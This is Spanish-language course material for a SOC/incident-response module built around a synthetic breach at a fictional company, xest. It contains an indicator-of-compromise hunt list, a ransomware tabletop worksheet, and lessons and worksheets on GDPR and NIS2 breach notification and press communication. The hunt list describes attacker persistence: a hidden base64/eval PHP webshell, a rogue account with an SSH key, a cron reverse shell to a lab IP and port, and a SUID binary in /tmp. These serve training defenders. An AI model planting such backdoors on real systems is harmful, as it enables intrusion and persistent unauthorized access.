> Indicadores de compromiso documentados por el equipo de HE durante la investigación del incidente de xest (UT6, evidencia HE-E14 / IC-E11). **Esta es tu lista de caza**: cada puerta trasera del sistema comprometido debería corresponder a uno de estos IoC. Recuerda la regla del curso: los IoC son el **suelo** de tu búsqueda, no el techo.

Contexto

- **Vector de entrada**: subida de fichero sin validación en el portal de xest → webshell.
- **Sistema afectado**: `portal-comprometido` (portal SOC de xest, VLAN de laboratorio).
- **Actor**: infraestructura de laboratorio del equipo HE (`attacker@he-lab`).

Indicadores

#	Tipo	Indicador	Dónde buscar
1	Fichero (webshell)	`.php` oculto en `assets/` con `eval(` / `base64_decode(`	`/var/www/html`
2	Cuenta	Usuario `svc-backup` (UID 1000, shell `/bin/bash`)	`/etc/passwd`

#	Tipo	Indicador	Dónde buscar
2b	Clave SSH	Clave pública `attacker@he-lab` (`ssh-ed25519 ...LABONLY...`)	`/home/svc-backup/.ssh/authorized_keys`
3	Persistencia	Tarea cron con reverse shell a `10.10.66.66:4444`	`/etc/cron.d/`, `/etc/cron.*`
4	Persistencia	Binario **SUID root** fuera de rutas de sistema (`/tmp/.x`)	`find / -perm -4000`

Red

- **IP C2 del atacante**: `10.10.66.66` (laboratorio; no existe fuera del aula).
- **Puerto de la reverse shell**: `4444/tcp`.

Nota de la investigación (HE)

> "Confirmamos cuatro mecanismos de persistencia. Priorizamos la contención sobre la caza exhaustiva por el reloj regulatorio, así que **no descartamos que quede algún mecanismo adicional no capturado**. El equipo de respuesta debe verificar de forma independiente que no queda ninguna puerta, no fiarse solo de esta lista."

Hoja de decisiones — Tabletop de ransomware (IC-E13, RA4.b/c)

> Escenario: `IC/material/plantillas/tabletop-ransomware.md`. El facilitador suelta inyectos con su reloj; vosotros decidís **con la información del momento** y **anotáis cada decisión con su hora de reloj de mesa**. Al final se evalúa la calidad de la decisión y la **autocrítica**, no que el incidente saliera bien.

Roles del equipo (del manual CSIRT)

- Coordinador de incidente: _____
- Analista L1: _____ · **Analista L2:** _____
- Portavoz: _____ · **Enlace jurídico:** _____

Registro de decisiones (reloj real)

T+ (inyecto)	Hora de mesa	Decisión tomada	Quién la tomó	Justificación breve
00:00 cifrado masivo				
00:10 propagación SMB				
00:20 cae facturación				
00:30 doble extorsión + datos				
00:40 exigen pago 48 h				
00:50 llama un medio				
01:00 paciente cero (phishing)				
01:10 copias sin verificar				

Relojes regulatorios

- Hora en que se detectó el dato personal comprometido: _ → ***RGPD 72 h vence:*** _
- Hora en que se identificó el vector (NIS2): _ → ***NIS2 24 h (alerta) vence:*** _

Autocrítica (preguntas de cierre)

1. ¿Cuándo se activó formalmente el CSIRT? ¿Se tardó de más? ¿Qué lo causó?

   _____

2. ¿La contención preservó la evidencia o la destruyó?

   _____

3. ¿Se cumplieron los relojes (RGPD 72 h, NIS2 24 h)?

   _____

4. ¿La decisión sobre el pago estaba fundamentada o fue improvisada?

   _____

5. ¿Qué regla de detección habría dado más margen? (→ UT3 / HE)

   _____

6. ¿Qué medida de bastionado (PPS) habría evitado la propagación?

   _____

> Estas respuestas son la materia prima del informe IC-E13 (tabletop) y de las acciones correctoras de IC-E14. Sé honesto: un fallo reconocido con lucidez puntúa más que un "salió todo perfecto".

IC · UT8 — Notificación y comunicación del incidente

10 horas · RA5 (a, b, c, d, e) · Servicio SOC: Respuesta — notificación regulatoria · Evidencias `IC-E15`, `IC-E16`, `IC-E17`

Qué vamos a conseguir

Decidir y redactar comunicaciones de incidente con hechos y plazos.

Antes de empezar

Herramientas: Caso didáctico, árbol de decisión, plantillas de notificación y guion de portavoz.

Consulta la guía de instalación, la guía de herramientas y las precisiones del curso. Prepara una carpeta propia para resultados; conserva intactos los datos de partida.

Ruta de trabajo

1. Lee incidente-xest-caso.md y separa hechos confirmados, hipótesis y datos aún desconocidos.
2. Completa ficha-arbol-decision.md indicando sujeto obligado, hecho desencadenante, autoridad y norma aplicable.
3. Fija cuándo se tiene constancia y registra las marcas temporales que activan cada obligación.
4. Redacta el borrador inicial con lo disponible, impacto, medidas, contacto y plan de ampliación.
5. Practica guion-rueda-prensa.md con portavoz único y respuestas que reconozcan incertidumbres.
6. Entrega IC-E15/16 y realiza IC-E17. Todo envío es simulado: el ejercicio termina con documentos, no con notificaciones a autoridades.

Cómo comprobar que está hecho

Ámbito normativo razonado; reloj trazable; hechos separados de hipótesis.

> No apliques los plazos de NIS2 a cualquier organización automáticamente; contrasta ámbito, transposición y régimen sectorial.

Desarrollo y fichas

- Explicación completa de la unidad.
- ficha-arbol-decision
- guion-rueda-prensa
- incidente-xest-caso

Entrega y revisión

Los nombres y formatos están en el cuaderno de entregables. Antes de entregar, comprueba alcance, pasos reproducibles, resultados, interpretación y límites. Identifica tu trabajo por número de lista, módulo y evidencia.

Incluye una dificultad que hayas resuelto y explica por qué la solución funciona. Si utilizas una salida de ejemplo, declárala; no la presentes como ejecución propia.

IC · UT8 — Notificación y comunicación del incidente

10 horas · RA5 (a, b, c, d, e) · Servicio SOC: Respuesta — notificación regulatoria · Evidencias `IC-E15`, `IC-E16`, `IC-E17`

---

1. Objetivo de la unidad

Detectar y responder no basta: hay que **notificar en plazo** a quien corresponda. Esta unidad cubre las obligaciones regulatorias, sus relojes y la comunicación interna, a autoridades, a afectados y a medios. Un analista que no sabe notificar en plazo expone a su organización a sanción; por eso RA5, aunque pese poco, es eliminatorio.

2. Contenido

2.1 Procedimiento de notificación y relojes (RA5.a)

Marco	Plazo	Destinatario	Umbral
RGPD art. 33	72 h desde constatación	AEPD	Riesgo para derechos y libertades
RGPD art. 34	Sin demora indebida	Afectados	Riesgo alto
NIS2 (UE 2022/2555)	Alerta 24 h · notificación 72 h · informe final 1 mes	CSIRT nacional (INCIBE-CERT / CCN-CERT)	Incidente significativo
ENS (RD 311/2022)	Según categoría	CCN-CERT	Sistemas del sector público
DORA (UE 2022/2554)	4 h · 72 h · 1 mes	Autoridad sectorial	Incidente TIC significativo

2.2 Notificación interna (RA5.b)

Dirección, jurídico, RRHH, comunicación. Quién decide y quién ejecuta cada paso.

2.3 Notificación a autoridades (RA5.c)

AEPD, INCIBE-CERT, CCN-CERT, Fuerzas y Cuerpos de Seguridad (Grupo de Delitos Telemáticos de la Guardia Civil, BCIT de la Policía Nacional).

2.4 Comunicación a afectados y terceros (RA5.d)

Afectados, clientes, proveedores. Mensaje claro, sin agravar el impacto ni ocultar lo relevante.

2.5 Comunicación a medios (RA5.e)

Portavoz único, mensaje base, gestión de preguntas hostiles. Cuándo procede y cuándo no.

3. Laboratorio guiado

Parte A — Árbol de decisión (RA5.a)

1. Construye el **árbol de decisión** de notificación: dado un incidente, qué marcos aplican, con qué plazo y a quién. Usa la plantilla de `IC/material/notificacion/`.

Parte B — Redactar notificaciones (RA5.b, RA5.c, RA5.d)

1. Redacta el **borrador de notificación a la AEPD en 72 h** (plantilla `rgpd-72h.md`) y la **alerta temprana NIS2 en 24 h** (plantilla `nis2-24h.md`) para el incidente del ejercicio.

Parte C — Rueda de prensa simulada (RA5.e)

1. Simulación de comunicación pública: portavoz, mensaje base y respuesta a preguntas hostiles preparadas por el propio grupo.

4. Entregables

- **`IC-E15`** (informe, rúbrica R2): procedimiento de notificación con árbol de decisión y plantillas cumplimentadas.
- **`IC-E16`** (defensa oral, rúbrica R4): simulación de comunicación pública y a autoridades.
- **`IC-E17`** (prueba objetiva, plantilla): plazos, sujetos obligados y umbrales de notificación. Prueba escrita sin material de apoyo; la entrega el profesor en el aula.

5. Criterios de superación

- El árbol de decisión aplica el marco y el plazo correctos a cada supuesto.
- Los borradores de notificación cumplen contenido y plazo.
- La prueba objetiva demuestra que los plazos y umbrales están memorizados, no consultados.

6. Por qué RA5 es eliminatorio

Notificar fuera de plazo o a quien no corresponde tiene consecuencias legales para la organización. La competencia técnica no compensa el incumplimiento regulatorio: por eso este RA no se compensa con los demás.

7. Referencias

- **RGPD** arts. 33 y 34 · **Directiva NIS2** (UE) 2022/2555 · **ENS** RD 311/2022 art. 33 · **DORA** (UE) 2022/2554.

- AEPD — guía de notificación de brechas. INCIBE-CERT y CCN-CERT — procedimientos.
- Plantillas: `IC/material/notificacion/`.

Ficha — Árbol de decisión de notificación (IC-E15 · para el alumnado)

Sobre el **caso de xest** (`incidente-xest-caso.md`). Trabajo en parejas. Rellena las tres partes. El resultado es tu entregable **IC-E15** (`NN-IC-E15-arbol.md`), rúbrica R1.

Regla de oro: **por cada marco, tres respuestas** — ¿aplica?, ¿con qué plazo?, ¿a quién? Y si NO aplica, **por qué no** (esto vale tanto como acertar los que sí).

Parte 1 — Tabla de disparo

Para cada marco, marca si se dispara y justifica con **el dato del caso** que lo activa (o que lo descarta).

Marco	¿Aplica? (Sí/No)	Dato del caso que lo decide	Plazo(s)	Destinatario
RGPD art. 33 (AEPD)				
RGPD art. 34 (afectados)				
NIS2				
ENS (RD 311/2022)				
DORA				
Vía penal (FCSE)				

Parte 2 — El árbol

Dibuja (en texto, con indentación, o en un diagrama) el árbol de decisión que, partiendo del instante de **constatación** (D-0, 08:05), lleve a cada notificación con su reloj. Debe verse: qué pregunta se hace en cada nodo, qué respuesta lleva a qué marco, y qué plazo cuenta desde qué momento.

```
[D-0 08:05 — constatación del incidente]
  ├── ¿Hay datos personales afectados? ─── Sí ──> ...
  │
  ├── ¿La entidad está sujeta a NIS2? ──── ... ──> ...
```

> │
> └─ …

Parte 3 — Reloj maestro

Ordena TODAS las obligaciones en una línea de tiempo desde D-0, 08:05, con la hora/fecha límite concreta de cada una.

Obligación	Cuenta desde	Plazo	Vencimiento (fecha y hora)

Preguntas de cierre

1. Dos marcos comparten el número «72 h». **¿Son el mismo reloj?** ¿Desde qué momento cuenta cada uno y a quién se notifica?
2. El caso tiene **612 registros con datos de salud** y afecta a **menores**. ¿Cómo cambia eso la decisión sobre el art. 34 (comunicación a afectados)?
3. ¿Por qué **no** se notifica al CCN-CERT en este caso? ¿Qué tendría que ser distinto en xest para que sí?
4. A las 24 h y a las 72 h **no se conoce el recuento exacto** de afectados. ¿Se notifica igual? ¿Cómo se marca esa notificación?

Rueda de prensa simulada — guion (IC-E17 · para el alumnado)

Sobre el **caso de xest**. Trabajo por grupos. Es la parte de defensa oral de **IC-E17** (rúbrica R4). Se evalúa **en vivo**. No se puede improvisar: un portavoz sin mensaje base agrava el incidente.

---

1. Reparto de roles (por grupo)

Rol	Cuántos	Función
Portavoz único	1	La ÚNICA voz autorizada. Da el mensaje base y responde.
Apoyo jurídico/técnico	1	Prepara datos, corrige al portavoz entre preguntas si hace falta.

Rol	Cuántos	Función
Prensa (rota entre grupos)	2-3	Hacen las preguntas hostiles al grupo que expone.

Regla dura: **una sola voz** de cara al público. Si dos personas del grupo responden y se contradicen, el grupo pierde el punto de «portavoz único».

2. Qué tenéis que preparar (antes de salir)

1. **Mensaje base** (máx. 5 frases): qué ha pasado, a quién afecta, qué estáis haciendo, qué debe hacer el afectado, dónde informarse. Claro, sin tecnicismos, **sin agravar ni ocultar**.
2. **Lista de lo que NO se dice todavía** (y por qué): detalles del vector, atribución sin confirmar, cifras no verificadas, si se pagará el rescate.
3. **Anticipación de 5 preguntas hostiles** con su respuesta preparada (una de ellas, sobre el pago del rescate).

3. Reglas de la simulación

- 6-8 min por grupo: 2 min de mensaje base + 4-6 min de preguntas hostiles de la «prensa».
- El portavoz **puede decir «no lo sabemos aún, lo confirmaremos y lo comunicaremos»** — es una respuesta válida y a menudo la correcta. Inventarse una cifra es el peor error.
- Coherencia con lo notificado: lo que se diga a la prensa **no puede contradecir** lo enviado a la AEPD o a INCIBE-CERT.

4. Plantilla de mensaje base (rellénala)

> xest ha detectado el **[fecha]** un incidente de seguridad que ha afectado a **[servicio]**. Sabemos que **[qué está confirmado]**. Estamos **[qué se está haciendo]** y hemos notificado a **[autoridades]**. Si eres usuario afectado, **[qué debe hacer]**. Toda la información verificada estará en **[canal oficial]**; no difundas rumores.

Preguntas de cierre (para tu entrega escrita IC-E17)

1. ¿Cuándo procede convocar a los medios y cuándo es mejor **no** hacerlo?
2. ¿Por qué un **portavoz único**? Da un ejemplo de daño causado por voces múltiples.
3. ¿Qué se responde a «¿van a pagar el rescate?» sin comprometer a la organización?

Caso del incidente de xest — briefing para notificación (IC UT8)

> Material de manos para el alumnado. Es el **mismo incidente** que HE provocó, IC detectó (UT3-UT5), investigó (UT6) y respondió (UT7). Ahora toca lo último del ciclo: **notificarlo en plazo**. Sobre este caso se construyen IC-E15 (árbol), IC-E16 (notificaciones AEPD 72 h y NIS2 24 h) e IC-E17 (rueda de prensa).
>
> Datos **sintéticos**. Ninguna persona, dominio ni entidad es real.

---

1. La organización afectada

xest, S.L. — empresa privada que presta un servicio digital de gestión académica (matrícula, expedientes, comunicación con familias) a una red de centros de formación.

- Sector: proveedor de servicios digitales de gestión (SaaS educativo).
- Tamaño: 62 empleados. Presta servicio a 18 centros y a sus usuarios.
- Datos que trata: identificativos y de contacto de alumnado y familias; **datos de salud** de una parte del alumnado (adaptaciones curriculares, informes médicos justificativos de faltas) → **categorías especiales, RGPD art. 9**.
- Marco propio: es empresa **privada** (no sector público → no le aplica el ENS) y **no es entidad financiera** (no le aplica DORA). Por su actividad y volumen, está clasificada como **entidad importante** en el ámbito de NIS2 (proveedor de servicios digitales).
- Delegado de Protección de Datos: sí, designado (dpd@xest.example).

2. Cronología del incidente (la que produce HE/IC)

Momento	Hecho
D-9, 03:14	Compromiso inicial del servidor del portal vía vulnerabilidad web (la que explota HE).
D-4	Movimiento lateral. El atacante alcanza el servidor de base de datos.
D-2, 02:40	**Exfiltración**: copia de la base de datos de usuarios (identificativos, contacto y una tabla con datos de salud).
D-1, 04:10	Despliegue de **ransomware**: se cifran el portal y los ficheros compartidos. Nota de rescate.

Momento	Hecho
D-0, 08:05	El SOC de xest **detecta** el cifrado y la nota de rescate. **Se declara el incidente.**
D-0, 08:05	← **Este es el instante en que xest "tiene constancia".** Aquí arrancan TODOS los relojes.

3. Alcance confirmado por la investigación (UT6)

- Registros exfiltrados: **4.230 usuarios** (alumnado y familias de los 18 centros).
- De ellos, **612 registros** contienen **datos de salud** (categoría especial art. 9).
- Parte del alumnado afectado es **menor de edad**.
- Servicios interrumpidos: portal de matrícula y comunicación con familias (servicio esencial de xest hacia sus clientes) → caído desde D-0.
- Origen: **acto ilícito** (intrusión + extorsión). Hay indicios de posible **impacto transfronterizo** (dos de los centros clientes operan sedes fuera de España).
- Vector raíz (de HE-E12 / IC-E11): vulnerabilidad en la aplicación web del portal.

4. Lo que la organización SÍ sabe a las pocas horas (D-0)

Que hubo intrusión, cifrado y **con alta probabilidad** exfiltración de datos personales, incluidos datos de salud. No conoce aún el recuento exacto ni la lista nominal de afectados.

> Esto importa: a las 24 h y a las 72 h **no se tiene todo**. La notificación temprana se hace **con lo que se sabe**, marcada como preliminar, y se completa después. No notificar por "esperar a tenerlo todo" es incumplir el plazo.

5. Datos de contacto para las notificaciones (ficticios)

- Responsable del tratamiento: xest, S.L. · NIF B00000000 (ficticio).
- DPD: dpd@xest.example · +34 900 000 000.
- Persona de contacto del incidente (coordinador): coord-ir@xest.example.
- Sede AEPD (donde se presenta la de 72 h): sedeagpd.gob.es.
- CSIRT de referencia (NIS2, sector privado): **INCIBE-CERT**.

Para el aula: todo el trabajo de esta UT se hace sobre la plataforma del SOC (`~/xest-lab/2026-2027/SOC/plataforma/`) y con las plantillas del repo. No se envía nada a ninguna autoridad real: son **borradores de laboratorio**. Las direcciones `*.example` son reservadas y no resuelven.
